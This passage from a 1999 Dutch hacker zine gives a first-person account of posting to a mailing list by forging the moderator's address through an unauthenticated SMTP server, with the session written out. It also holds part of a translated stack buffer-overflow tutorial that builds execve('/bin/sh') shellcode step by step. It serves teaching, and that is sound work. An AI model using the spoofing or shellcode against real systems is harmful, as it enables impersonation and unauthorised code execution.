Genoeg IP's dus! :)) De header in IPv6 is ontwikkeld om de overhead tot een minimum te beperken. Niet-essentiële velden en optievelden zijn verplaatst naar headeruitbreidingen die na de eigenlijk IPv6-header komen. Wat niet in deze header opgenomen is, kan altijd door middel van een headeruitbreiding worden toegevoegd. Ondersteuning voor nieuwe hardware- en toepassingstechnologieen is reeds ingebouwd. Een nieuw veld in de IPv6-header maakt het mogelijk netwerkbronnen langs een bepaald pad vooraf toe te wijzen, zodat tijdsafhankelijke functies, zoals geluid en beeld, sowieso de gevraagde bandbreedte krijgen bij een mogelijke vertraging. In een van de volgende uitgaven van H4H zal ik IPv6 tot op het bot proberen te bespreken. In the meantime... stay real! ------------------------------------------ 10. Hackers 4 Hackers Mailinglist Hacked ------------------------------------------ Omdat ik 5 minuten na mijn actie al een thread had in alt.hack.nl heb ik maar besloten om eens even wat tekst en uitleg te geven :). Ok, ik heb dus in Hackers 4 Hackers een bericht geplaatst die naar alle +/- 470 leden gegaan is. Dit was mijn berichtje: ------------------------------------------------------------------------------ | Naja.. als je dit kan lezen, en alle 470 leden krijgen dit dan is dit dus | | een typisch voorbeeldje van bad security :).. sjahz. of je ken zegge dat | | ik de server gejkacked hebt.. maar dat kan ik dit niet noeme eigenlijk :) | | | | baaaaaaaai! | | Tozz | | (neej, dit is dus niet asby, maar ik moet zijn adres | ------------------------------------------------------------------------------ Ok, wel kut dat backspace het neit doet in telnet :). magoed.. het was eignelijk best simpel om te doen. Omdat er niets instond van: Approved-By: asby@multiweb.nl dacht ik dat het een normale non-moderated list was, en dat zou dus betekenen dat iedereen er heen zou kunnen schrijven, dus dat deed ik eerst. Ik schreef een bericht naar h4h@clownz.net met als afzender mijn eigen e-mail adres tozz@tozz.tmfweb.nl. Helaas werkt het niet, ik kreeg toen dit bericht terug: ------------------------------------------------------------------------------ | To join this mailing list, you need to apply for a subscription | | This can be done by sending a message to mailserver@clownz.net with | | the following line in the message subject or body:- | | | | subscribe H4H | | | | If you have any queries, please contact the list maintainer: | | asby@multiweb.nl | | | ------------------------------------------------------------------------------ Omdat ik dit bericht verzonden had met als afzender Tozz@tozz.tmfweb.nl en mijn e-mail adres van mijn werk in de H4H db staat, dacht ik dat het met dat adres wil wou! Maar nee, hetzelfde bericht. als je naar de headers kijkt van een officiele H4H posting dan zul je zien dat er bij 'From' meestal asby@multiweb.nl staat. Dus ik ging aan de slag :) Je telnet naar smtp.multiweb.nl op poort 25 (Of was het nu gewoon multiweb.nl?) Wat maakt het ook uit, anyway, dan doe je dit: ------------------------------------------------------------------------------ | [root@embrace]# Telnet smtp.multiweb.nl 25 | | Trying x.x.x.x | | Connected to smtp.multiweb.nl. Escape key is ^] | | | | HELO loesje | | ??? Helo loesje, pleased to meet you! | | MAIL FROM: asby@multiweb.nl | | ??? Sender ok! | | RCPT TO: h4h@clownz.net | | ??? We do not relay | | QUIT | | | | Connection closed by foreign host. | ------------------------------------------------------------------------------ Ok, hij zegt dus: 'We do not relay' dat betekent zoveel als dat wij geen mail mogen sturen naar dat adres. Maar we geven niet op.. we doen een testje op clownz.net om te kijken of ze een mail server draaien, en jawel hoor! Een heuze mail server! Dus we gaan weer: ------------------------------------------------------------------------------ | [root@embrace]# Telnet clownz.net 25 | | Trying x.x.x.x | | Connected to clownz.net. Escape key is ^] | | | | HELO loesje | | ??? clownz.net | | MAIL FROM: asby@multiweb.nl | | ??? Receiving from asby@multiweb.nl | | RCPT TO: h4h@clownz.net | | ??? Sending to h4h@clownz.net | | DATA | | ??? Type your message, . to quit. | | Eej, | | | | dit wordt dus gepost in Hackers 4 Hackers, best simpel eigenlijk he? =] | | | | Bye, | | Tozz | | . | | ??? Message sent. | | QUIT | | ??? Bye | | | | Connection closed by foreign host. | ------------------------------------------------------------------------------ Ok, zoals je nu ziet.. zegt ie: 'Message Sent'. en jawel hoor.. een paar seconden later krijg ik een bericht van mezelf, en daarna volgen nog een hoop van Bermuda die snel een patch moest installeren :) Ok, nu ik dus tekst en uitleg heb gegeven hoef je nu echt niet snel allemaal berichten in H4H proberen te posten, want de bug is al opgelost, dus jullie zijn te laat :)... Ik denk dat alleen Asby maar bakken vol mail krijgt van mensen die illegaal proberen te posten. Tozz [Redactie: Een geintje is leuk, maar ik heb geen zin dat iedereen dus ongein gaat uithalen. Je kan verwachten dat bij elk mailtje dat ik in mijn mailbox krijg door zulke geintjes worden doorgestuurd naar abuse@provider.com] -------------------------------------------- 11. Bufferoverflows: 'da guide' - deel 1 -------------------------------------------- [Redactie: Dit artikel was oorspronkelijk twee keer zo lang, maar omdat het artikel dan groter zou worden dan H4H zelf hebben we het op een mooi punt door twee-en geknipt. Dus in de volgende H4H kan je deel 2 verwachten.] Copyright 1999 Dvorak. Use at your own risk. Gebruik voor eigen risico ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Synnergy Networks presenteert: Bufferoverflows: 'da guide' Door: Dvorak (@hit2000 // @synnergy.net) Dit artikel is in eerste instantie geschreven voor H4H (http://www.hackers4hackers.org), maar het mag vrij door iedereen verspreid en verminkt worden. Deze tekst is alleen voor educationele doeleinden. Aangezien er op dit moment geen Nederlandse tekst is over bufferoverflows, en dan vooral over het exploiten van bufferoverflows heb ik dat op mij genomen. Ik ben te lui om het wiel op nieuw uit te vinden, en dus bestaat dit artikel voor het grootste deel uit een vertaling van Aleph One's artikel over bufferoverflows. Het is uitgebreidt met een vertaling van klog's artikel over Frame Pointer overwriting en enkele trucs om het exploiten van bufferoverflows makkelijker te maken. Aangezien het Nederlands niet beschikt over veel woorden die gebruikt worden in de beschrijving van bufferoverflows komen er een aantal engelse woorden voor in tekst waarvan de Nederlandse vertaling er belachelijk uit zou zien. (buffer overloop, stapel?) Voor we beginnen ~~~~~~~~~~~~~~~~ Wil ik twee mensen bedanken, dit zijn Aleph One en klog. Deze personen hebben het grootste deel van dit artikel in feite geschreven, het enige dat ik heb gedaan is hun artikelen vertaald en uitgebreidt. Eventuele fouten in de tekst zijn volledig mijn schuld. Dus als je iemand wilt bedanken, stuur mail aan Aleph One (aleph1@underground.org) en klog (klog@promisc.org). Voorkennis ~~~~~~~~~~ Voor het begrijpen van deze tekst is enige kennis van C, x86 assembler en gdb vereist. Ik zal zoveel mogelijk proberen deze voorkennis overbodig te maken en alles uit te leggen. De voorbeelden in deze tekst zijn bijna allemaal afkomstig uit de Phrack artikelen (zowel die van Aleph One als die van klog) en zijn bedoeld voor Linux op de x86. Belangrijke begrippen ~~~~~~~~~~~~~~~~~~~~~ Om te beginnen een uitleg van de verschillende dingen die een rol spelen in het exploiten van bufferoverflows. Een bufferoverflow is precies wat het woord al zegt: Het stoppen van te veel data in een buffer. Een buffer is een aaneengesloten stuk geheugen waarin meerdere instanties van een data type voorkomen, meestal characters. In C komen meerdere soorten buffers voor, statische en dynamische. statische buffers zijn de buffer die aan het begin van het programma al een plaats in het geheugen hebben een dynamischie buffer krijgen pas tijdens de loop van het programma een plaats in het geheugen. Beide soorten zijn weer in te delen, statische buffers zijn buffers die 'static' zijn gedeclareerd en buffers die 'global' zijn gedefinieerd. Dynamische buffers zijn buffers die gemalloced worden (deze komen in het geheugen achter de static en de global gedefinieerde buffers) en de buffers die lokaal zijn voor een functie, zij worden op de stack geplaatst. De laatste soort is degene die we gaan bekijken, overflows in de andere soorten buffers kunnen ook tot security problemen leiden maar zij kunnen niet op de hieronder beschreven manier geexploiteerd worden. De Stack en het gebruik ervan ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ In het bovenstaande komt direct een belangrijk maar nog niet uitgelegd begrip voor, de stack. De stack wordt gebruikt om tijdelijk data op te slaan, bijvoorbeeld de variabelen en argumenten van een functie, maar ook en dat is belangrijker, het return adres van een functie. Aangezien het in C (en andere hogere programeertaleb) mogelijk is vanuit verschillende plaatsen dezelfde functie aan te roepen is het noodzakelijk om ergens te bewaren waar de functie terug moet keren als hij klaar is. De plaats waar een functie heen moet terugkeren is het return adres (RET), op de x86 wordt dit return adres bewaard op de stack. De stack is een aaneengesloten buffer in het geheugen die als het nodig is wordt vergroot. Op de x86 groeit de stack naar onderen, dwz dat nieuwe dingen die op de stack worden geplaatst voor de oude dingen in het geheugen komen te staan. De top van de stack wordt op de x86 in het SP (stack pointer) register bewaard waarbij deze wijst naar de plaats waar het laatst iets is toegevoegd. Dit toevoegen kan gebeuren met de hulp van de assembler instructies PUSH en POP. PUSH verlaagd SP met 4, aangezien er in veelvouden van 4 bytes wordt gepushed, en plaats de waarde die gepusht wordt op de plaats aangegeven door SP in het geheugen, POP doet het omgekeerde. Aangezien de waarde van SP continu verandert is het moeilijk voor een functie om aan de hand van SP zijn variabelen en argumenten terug te vinden. Om dit op te lossen is de frame pointer in het leven geroepen. De frame pointer wordt aan het begin van een functie zo ingesteld dat de variabelen van die functie voor de plaats in het geheugen waarnaar de frame pointer verwijst staan en de argumenten die aan de functie worden doorgegeven erachter. Het voorbeeld hieronder laat het gebruik van de stack zien. example1.c: ------------------------------------------------------------------------------ void function(int a, int b, int c) { char buffer1[5]; char buffer2[10]; } void main() { function(1,2,3); exit(1); } (voorbeeld van Aleph1) ------------------------------------------------------------------------------ We compilen dit met gcc met de -S optie om assembler output te verkrijgen. $ gcc -S -o example1.s example1.c Als we deze uitvoer bekijken blijkt dat de aanroep van function() als volgt wordt vertaald: push $3 push $2 push $1 call function De drie variabelen worden in omgekeerde volgorde op de stack bewaard en de functie wordt aangeroepen door middel van van de assembler instructie CALL. Deze instructie bewaart het return adres (het adres waar de instructie staat die moet worden uitgevoerd als function() is terug gekeerd), in dit geval is dat het adres van de exit(1)), op de stack en roept de functie function() aan. Het eerste dat wordt gedaan in function() is de functie-proloog. pushl %ebp movl %esp, %ebp subl $20, %esp Als je Microsoft assembler gewend bent ziet dit er raar uit, waar je in Microsoft assember mov ax,cx doet op cx naar ax te verplaatsen doe je in AT&T assembler (gebruikt door gdb, gcc kortom de normaal denkende wereld) mov ax,cx om ax naar cx te verplaatsen. "So put on those warp refraction eye-goggles and go on" [Mudge] Wat dit doet is eerst %ebp, de frame pointer op de x86, op de stack bewaren, de bewaarde frame pointer zal verder met sfp(saved frame pointer) worden aangeduid. Het bewaren is nodig omdat anders de ouder functie, dus de functie die function() aanroept in dit geval main() zijn variabelen niet meer kan terug vinden als we terugkeren. Vervolgens krijgt %ebp de waarde van %esp, waardoor dit de nieuwe frame-pointer wordt. En hierna wordt van %esp 20 afgetrokken om ruimte te reserveren voor de locale variabelen. Er wordt 20 van %esp afgetrokken aangezien geheugen geadresseerd wordt in veelvouden van 4 bytes zodat een buffer van 5 bytes als 8 bytes wordt bewaard en een van 10 bytes als 12 bytes. Na aanroep van de functie zit het geheugen er als volgt uit: bottom of top of memory memory buffer2 buffer1 sfp ret a b c <------ [ ][ ][ ][ ][ ][ ][ ] top of bottom of stack stack (plaatje van Aleph1) elke spatie is een byte, zoals je kan zien is buffer2 uitgebreidt tot 12 bytes en buffer1 tot 8 bytes. Buffer Overflows ~~~~~~~~~~~~~~~~ Een bufferoverflow is het resultaat van meer data in een buffer stoppen dan er in kan, hoe kunnen we dit gebruiken om willekeurige code uit te voeren? Een tweede voorbeeld: example2.c ------------------------------------------------------------------------------ void function(char *str) { char buffer[16]; strcpy(buffer,str); } void main() { char large_string[256]; int i; for( i = 0; i < 255; i++) large_string[i] = 'A'; large_string[255] = '\0'; function(large_string); } (ook van Aleph1) ------------------------------------------------------------------------------ Dit stukje code heeft een typische bufferoverflow: in function() wordt een string zonder hiervan de lengte te checken gekopieerd door het gebruik van strcpy() in plaats van strncpy(). Als je dit programma runt krijg je een Segmentation violation, SEGV, ten teken dat het programma ergens geheugen probeert te benaderen waar het programma niet bij mag. Bij aanroep van function() ziet de stack er als volgt uit: bottom of top of memory memory buffer sfp ret *str <------ [ ][ ][ ][ ] top of bottom of stack stack (plaatje van Aleph1) Waarom krijgen we hierbij nu een SEGV? strcpy() kopieert de inhoud van large_string naar buffer totdat hij een '\0' character tegenkomt. Aangezien buffer slechts 16 bytes lang is en er 256 bytes gekopieerd worden wordt er voorbij het einde van buffer geschreven, over de bewaarde frame pointer (sfp) heen en over het return adres (ret) en zelfs over *str. De hexadecimale waarde voor 'A' is 0x41 zodat het return adres nu 0x41414141 is. Als function() terugkeerd probeert hij de instructie op dat adres uit te voeren en aangezien dat buiten het bereik van het programma is krijg je een SEGV. We kunnen dus door het overflowen van een buffer het return adres veranderen en dus de loop van het programma veranderen. Terug naar het eerste voorbeeld om te kijken hoe de stack er daar uitzag: bottom of top of memory memory buffer2 buffer1 sfp ret a b c <------ [ ][ ][ ][ ][ ][ ][ ] top of bottom of stack stack (plaatje van Aleph One) We gaan proberen de loop van het onderstaande programma zo te veranderen dat de opdracht x = 1; wordt overgeslagen. Hiervoor moeten we het return adres zo wijzigen dat hij achter deze opdracht terugkeert. Het blijkt dat er 10 moet worden opgeteld bij het return adres om dit voor elkaar te krijgen. Zoals je kan zien staat het return adres 4 bytes voorbij het einde van buffer1 in het geheugen, waarbij rekening moet worden gehouden met het feit dat buffer1 niet 5 bytes maar 8 bytes inneemt in het geheugen. We moeten dus om de opdracht x = 1; over te slaan 10 op tellen bij de waarde die 12 bytes voorbij de start van buffer1[] in het geheugen staat. De code is nu: example3.c: ------------------------------------------------------------------------------ void function(int a, int b, int c) { char buffer1[5]; char buffer2[10]; int *ret; ret = buffer1 + 12; (*ret) += 10; } void main() { int x; x = 0; function(1,2,3); x = 1; printf("%d\n",x); } (weer van Aleph1) ------------------------------------------------------------------------------ Wat we gedaan hebben is 12 optellen bij het adres van buffer1[]. Dit nieuwe adres is het adres waar het return adres wordt bewaard en bij de waarde die daar staat tellen we 10 op om voorbij de x = 1; opdracht te springen. We wisten dat we 10 moesten optellen bij het return adres door eerst een test waarde te gebruiken, het programma te compilen en gdb op te starten. ------------------------------------------------------------------------------ [aleph1]$ gdb example3 GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... (no debugging symbols found)... (gdb) disassemble main Dump of assembler code for function main: 0x8000490 : pushl %ebp 0x8000491 : movl %esp,%ebp 0x8000493 : subl $0x4,%esp 0x8000496 : movl $0x0,0xfffffffc(%ebp) 0x800049d : pushl $0x3 0x800049f : pushl $0x2 0x80004a1 : pushl $0x1 0x80004a3 : call 0x8000470 0x80004a8 : addl $0xc,%esp 0x80004ab : movl $0x1,0xfffffffc(%ebp) 0x80004b2 : movl 0xfffffffc(%ebp),%eax 0x80004b5 : pushl %eax 0x80004b6 : pushl $0x80004f8 0x80004bb : call 0x8000378 0x80004c0 : addl $0x8,%esp 0x80004c3 : movl %ebp,%esp 0x80004c5 : popl %ebp 0x80004c6 : ret 0x80004c7 : nop ------------------------------------------------------------------------------ We kunnen zien dat het return adres 0x8004a8 is bij het aanroepen van function(), en we kunnen zien dat de opdracht x = 1; plaats vind op 0x80004ab en dat we daar overheen willen springen naar 0x80004b2. Een beetje rekenen leidt tot een verschil van 10. Shell Code ~~~~~~~~~~ We kunnen op dit moment dus het return adres en daarmee de loop van een programma veranderen. Wat willen we dat het programma uitvoert? Meestal willen we dat het gewoon een shell opstart. Daarvandaan kunnen we dan opstarten wat we willen. Het is echter erg onwaarschijnlijk dat er code in een programma zit die dat voor je doet. We moeten dus op een of andere manier onze eigen code in het programma zetten. Hoe kunnen we onze eigen code in de address space van zo'n programma zetten? Het antwoord ligt voor de hand: zet de code in de buffer neer. En zorg dat het return adres wijst naar het begin van die code in de buffer. Aangenomen dat de stack start op adres 0xFF en dat S de code is die we willen uitvoeren zal de stack er als volgt uit moeten zien: bottom of DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF top of memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memory buffer sfp ret a b c <------ [SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03] ^ | |____________________________| top of bottom of stack stack (Ook weer van Aleph1) Nu nog de code die nodig is om een shell te starten. Hieronder wordt in het kort uitgelegd hoe deze shellcode kan worden gemaakt, hiervoor is meer dan een beetje kennis van assembler en function calls in C nodig. Als deze kennis niet aanwezig is kan er worden gesprongen naar het het stuk wat hierna komt (Het maken van een exploit). Als er veel vraag naar is zal ik nog een volgend stuk schrijven over het maken van shellcode. Mensen die er op dit moment niet uitkomen maar het wel willen kunnen me mailen evenzo kan je me mailen om de paar tools die ik heb geschreven om shellcode te maken te krijgen. In C ziet de code om een shell op te starten er als volgt uit: shellcode.c ----------------------------------------------------------------------------- #include void main() { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); } (Van Aleph One) ------------------------------------------------------------------------------ Om uit te vinden wat deze code doet in assembler compilen we het en starten gdb. Bij het compilen moeten we de -static flag gebruiken omdat anders de echte code voor de execve call niet in het programma zit maar in de library. ------------------------------------------------------------------------------ [aleph1]$ gcc -o shellcode -ggdb -static shellcode.c [aleph1]$ gdb shellcode GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... (gdb) disassemble main Dump of assembler code for function main: 0x8000130 : pushl %ebp 0x8000131 : movl %esp,%ebp 0x8000133 : subl $0x8,%esp 0x8000136 : movl $0x80027b8,0xfffffff8(%ebp) 0x800013d : movl $0x0,0xfffffffc(%ebp) 0x8000144 : pushl $0x0 0x8000146 : leal 0xfffffff8(%ebp),%eax 0x8000149 : pushl %eax 0x800014a : movl 0xfffffff8(%ebp),%eax 0x800014d : pushl %eax 0x800014e : call 0x80002bc <__execve> 0x8000153 : addl $0xc,%esp 0x8000156 : movl %ebp,%esp 0x8000158 : popl %ebp 0x8000159 : ret End of assembler dump. (gdb) disassemble __execve Dump of assembler code for function __execve: 0x80002bc <__execve>: pushl %ebp 0x80002bd <__execve+1>: movl %esp,%ebp 0x80002bf <__execve+3>: pushl %ebx 0x80002c0 <__execve+4>: movl $0xb,%eax 0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx 0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx 0x80002cb <__execve+15>: movl 0x10(%ebp),%edx 0x80002ce <__execve+18>: int $0x80 0x80002d0 <__execve+20>: movl %eax,%edx 0x80002d2 <__execve+22>: testl %edx,%edx 0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42> 0x80002d6 <__execve+26>: negl %edx 0x80002d8 <__execve+28>: pushl %edx 0x80002d9 <__execve+29>: call 0x8001a34 <__normal_errno_location> 0x80002de <__execve+34>: popl %edx 0x80002df <__execve+35>: movl %edx,(%eax) 0x80002e1 <__execve+37>: movl $0xffffffff,%eax 0x80002e6 <__execve+42>: popl %ebx 0x80002e7 <__execve+43>: movl %ebp,%esp 0x80002e9 <__execve+45>: popl %ebp 0x80002ea <__execve+46>: ret 0x80002eb <__execve+47>: nop End of assembler dump. ------------------------------------------------------------------------------ Nu proberen te begrijpen wat er hier gebeurt, we beginnen bij main(). ------------------------------------------------------------------------------ 0x8000130 : pushl %ebp 0x8000131 : movl %esp,%ebp 0x8000133 : subl $0x8,%esp Dit is weer de functie proloog, het bewaart de oude frame pointer en maakt van de stack pointer de nieuwe frame pointer en maakt ruimte voor de lokale variabelen, in dit geval: char *name[2]; oftewel: twee pointer naar chars, pointers zijn een 4 bytes groot vandaar de $0x08 0x8000136 : movl $0x80027b8,0xfffffff8(%ebp) We copieren de waarde 0x80027b8 (het adres van de string "/bin/sh") naar de eerst pointer van name[] (zoals je kan zien worden locale variabelen met een negatieven index tov %ebp gegeven) dit komt overeen met: name[0] = "/bin/sh"; 0x800013d : movl $0x0,0xfffffffc(%ebp) We copieren de waarde 0x0 (NULL) naar de tweede pointer van name[]. Dit komt overeen met: name[1] = NULL; Hierna start de aanroep van execve(); 0x8000144 : pushl $0x0 We pushen de argumenten voor execve in omgekeerde volgorde op de stack we beginnen met NULL. 0x8000146 : leal 0xfffffff8(%ebp),%eax We laden het adres van name[] in het %eax (1 van de 4 general purpose registers op de x86). 0x8000149 : pushl %eax En pushen deze waarde op de stack als argument. 0x800014a : movl 0xfffffff8(%ebp),%eax We laden het adres van "/bin/sh" in %eax. 0x800014d : pushl %eax En pushen ook deze waarde op de stack als argument voor execve(). 0x800014e : call 0x80002bc <__execve> We roepen execve aan, de call pusht het return adres op de stack. ------------------------------------------------------------------------------ Nu execve(). Onthoudt dat we op dit moment bezig zijn met een Intel based Linux systeem, details voor de systemcalls verschillen van OS to OS en van CPU to CPU. Sommige geven argumenten door op de stack, anderen in register, sommigen gebruiken software interrupts voor de systemcall andere gebruiken een speciale instructie of een far call. Linux geeft de argument voor een systemcall door in de registers en gebruikt een software interrupt voor de sprong naar kernel mode. ------------------------------------------------------------------------------ 0x80002bc <__execve>: pushl %ebp 0x80002bd <__execve+1>: movl %esp,%ebp 0x80002bf <__execve+3>: pushl %ebx Weer de functie proloog. 0x80002c0 <__execve+4>: movl $0xb,%eax Copieer $0x0b naar %eax. Dit geeft aan welke system call we willen hebben, $0x0b (11 decimaal) is execve(). 0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx Copieer het adres van "/bin/sh" naar %ebx (argumenten van een functie worden met een positieve index vanaf %ebp benaderd). 0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx Copieer het adres van name[] naar %ecx. 0x80002cb <__execve+15>: movl 0x10(%ebp),%edx Copieer het adres van de NULL pointer naar %edx. (Note: dit klopt niet met wat er echt gebeurt, Aleph1 heeft het echter verder de hele tijd over het adres van de NULL pointer en maakt daar ook zijn shellcode na, ik laat dat zo, het maakt toch niet uit) 0x80002ce <__execve+18>: int $0x80 En spring naar kernel mode. ------------------------------------------------------------------------------ Zoals we kunnen zien is er niet veel nodig voor de execve() system call de volgende dingen zijn nodig: a) De string "/bin/sh" moet ergens in het geheugen staan, inclusief de null ('\0') byte aan het einde. b) Het adres van deze string moet ergens in het geheugen staan. Dit adres moet gevolgd worden door een NULL pointer. c) De waarde van %eax moet $0x0b zijn. d) Het adres van het adres van de strings "/bin/sh" moet gecopieerd worden naar %ebx. e) Het adres van de "/bin/sh" string moet naar het ECX register worden gekopieerd. f) Het adres van de NULL pointer moet in het EDX register staan g) De int $0x80 instructie moet worden uitgevoerd. Maar wat als de execve() aanroep om een of andere reden mislukt? Het programma zal dan doorgaan met instructies uit te voeren en zal waarschijnlijk crashen en core-dumpen na een foute instructie. Het mooist zou zijn als het programma keurig exit. Hoe ziet de exit syscall eruit? exit.c ------------------------------------------------------------------------------ #include void main() { exit(0); } (Code van Aleph1) ------------------------------------------------------------------------------ ------------------------------------------------------------------------------ [aleph1]$ gcc -o exit -static exit.c [aleph1]$ gdb exit GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... (no debugging symbols found)... (gdb) disassemble _exit Dump of assembler code for function _exit: 0x800034c <_exit>: pushl %ebp 0x800034d <_exit+1>: movl %esp,%ebp 0x800034f <_exit+3>: pushl %ebx 0x8000350 <_exit+4>: movl $0x1,%eax 0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx 0x8000358 <_exit+12>: int $0x80 0x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx 0x800035d <_exit+17>: movl %ebp,%esp 0x800035f <_exit+19>: popl %ebp 0x8000360 <_exit+20>: ret 0x8000361 <_exit+21>: nop 0x8000362 <_exit+22>: nop 0x8000363 <_exit+23>: nop End of assembler dump. (Log van Aleph One) ------------------------------------------------------------------------------ De exit system call plaats $0x01 in %eax, de exit code in %ebx en voert de int 0x80 instructie uit. Dat is het. De lijst met stappen wordt nu: a) De string "/bin/sh" moet ergens in het geheugen staan, inclusief de null ('\0') byte. b) Het adres van deze string moet ergens in het staan. Deze pointer moet gevolgd worden door een NULL pointer. c) De waarde van %eax moet $0x0b zijn. d) Het adres van het adres van de strings "/bin/sh" moet gecopieerd worden naar %ebx. e) Het adres van de "/bin/sh" string moet naar %ecx worden gekopieerd. f) Het adres van de NULL pointer moet in %edx staan. g) De int $0x80 instructie moet worden uitgevoerd. h) De waarde van %eax moet 0x01 zijn. i) %ebx moet 0x0 zijn. (voor 0 als exit code) j) De int 0x80 instructie moet worden uitgevoerd. Als we dit samen voegen in assembler, waarbij we de strings achter de code plaatsen en bedenken dat we het adres van de strings en de NULL pointer achter de string zullen plaatsen krijgen we: ------------------------------------------------------------------------------ movl string_addr,string_addr_addr movb $0x0,null_byte_addr movl $0x0,null_addr movl $0xb,%eax movl string_addr,%ebx leal string_addr,%ecx leal null_string,%edx int $0x80 movl $0x1, %eax movl $0x0, %ebx int $0x80 /bin/sh string goes here. ------------------------------------------------------------------------------ Het probleem is dat we niet weten waar in het geheugen van het programma dat we proberen te exploiten deze code wordt geplaatst. Een mogelijkheid om dit op te lossen is het gebruik van JMP en CALL instructies om deze plaats te bepalen. Dit kan omdat het mogelijk is relatieve JMP's en CALL's te doen terwijl de CALL het return adres als een absolute waarde bewaard op de stack. Als we een CALL instructie precies voor de "/bin/sh" string plaatsen, en een JMP instructie daar naar toe zal het adres van de string op de stack worden gepusht op het moment dat de CALL instructie wordt uitgevoerd. Het enige dat we dan moeten doen is het return adres naar een register copieren. De CALL instructie kan gewoon het begin van onze code aanroepen. Aangenomen dan J staat voor JMP, C voor CALL, S voor shellcode en s voor de string dan zou het geheugen er zo uit moeten zien: bottom of DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF top of memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memory buffer sfp ret a b c <------ [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03] ^|^ ^| | |||_____________||____________| (1) (2) ||_____________|| |______________| (3) top of bottom of stack stack (weer van Elias Levy) Waarbij het verloop van de code is: 1) Er wordt teruggekeert naar de JMP instructie. 2) Deze springt door middel van relatieve adressering naar de CALL. 3) De CALL springt ook door middel van relatieve adressering naar de code achter de JMP daarbij plaats hij het adres van de string op de stack. Als we rekening houden met deze veranderingen en gebruik maken van geindexeerd adresseren en opschrijven hoeveel bytes elke instructie is wordt de code:(eigenlijk is het opschrijven van het aantal bytes niet nodig, gcc kan dit zelf uitstekend bepalen). ------------------------------------------------------------------------------ jmp offset-to-call # 2 bytes popl %esi # 1 byte movl %esi,array-offset(%esi) # 3 bytes movb $0x0,nullbyteoffset(%esi)# 4 bytes movl $0x0,null-offset(%esi) # 7 bytes movl $0xb,%eax # 5 bytes movl %esi,%ebx # 2 bytes leal array-offset,(%esi),%ecx # 3 bytes leal null-offset(%esi),%edx # 3 bytes int $0x80 # 2 bytes movl $0x1, %eax # 5 bytes movl $0x0, %ebx # 5 bytes int $0x80 # 2 bytes call offset-to-popl # 5 bytes /bin/sh string goes here. ------------------------------------------------------------------------------ Als we de offset van de jmp to the call, van de call tot de popl, van de string tot de array en van het string adres tot the null pointer berekenen en invullen krijgen we: ------------------------------------------------------------------------------ jmp 0x26 # 2 bytes popl %esi # 1 byte movl %esi,0x8(%esi) # 3 bytes movb $0x0,0x7(%esi) # 4 bytes movl $0x0,0xc(%esi) # 7 bytes movl $0xb,%eax # 5 bytes movl %esi,%ebx # 2 bytes leal 0x8(%esi),%ecx # 3 bytes leal 0xc(%esi),%edx # 3 bytes int $0x80 # 2 bytes movl $0x1, %eax # 5 bytes movl $0x0, %ebx # 5 bytes int $0x80 # 2 bytes call -0x2b # 5 bytes .string \"/bin/sh\" # 8 bytes ------------------------------------------------------------------------------ Ziet er goed uit, om er zeker van te zijn dat het werkt moeten we het compilen en runnen. Maar er is een probleem, onze code veranderd zichzelf maar de meeste besturingsystemen markeren code segmenten als read-only, we Moeten dus onze code eerst naar de stack copieren en hem daar runnen. Laten we het eerst compilen om de binaire representatie te krijgen. shellcodeasm.c ------------------------------------------------------------------------------ void main() { __asm__(" jmp 0x2a # 3 bytes popl %esi # 1 byte movl %esi,0x8(%esi) # 3 bytes movb $0x0,0x7(%esi) # 4 bytes movl $0x0,0xc(%esi) # 7 bytes movl $0xb,%eax # 5 bytes movl %esi,%ebx # 2 bytes leal 0x8(%esi),%ecx # 3 bytes leal 0xc(%esi),%edx # 3 bytes int $0x80 # 2 bytes movl $0x1, %eax # 5 bytes movl $0x0, %ebx # 5 bytes int $0x80 # 2 bytes call -0x2f # 5 bytes .string \"/bin/sh\" # 8 bytes "); } (afkomstig van Aleph1) ------------------------------------------------------------------------------ (het is mogelijk om labels te gebruiken dus: jmp jmp_here call_here: popl %esi .. .. jmp_here: call call_here .string \"/bin/sh\" ) ------------------------------------------------------------------------------ [aleph1]$ gcc -o shellcodeasm -g -ggdb shellcodeasm.c [aleph1]$ gdb shellcodeasm GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... (gdb) disassemble main Dump of assembler code for function main: 0x8000130 : pushl %ebp 0x8000131 : movl %esp,%ebp 0x8000133 : jmp 0x800015f 0x8000135 : popl %esi 0x8000136 : movl %esi,0x8(%esi) 0x8000139 : movb $0x0,0x7(%esi) 0x800013d : movl $0x0,0xc(%esi) 0x8000144 : movl $0xb,%eax 0x8000149 : movl %esi,%ebx 0x800014b : leal 0x8(%esi),%ecx 0x800014e : leal 0xc(%esi),%edx 0x8000151 : int $0x80 0x8000153 : movl $0x1,%eax 0x8000158 : movl $0x0,%ebx 0x800015d 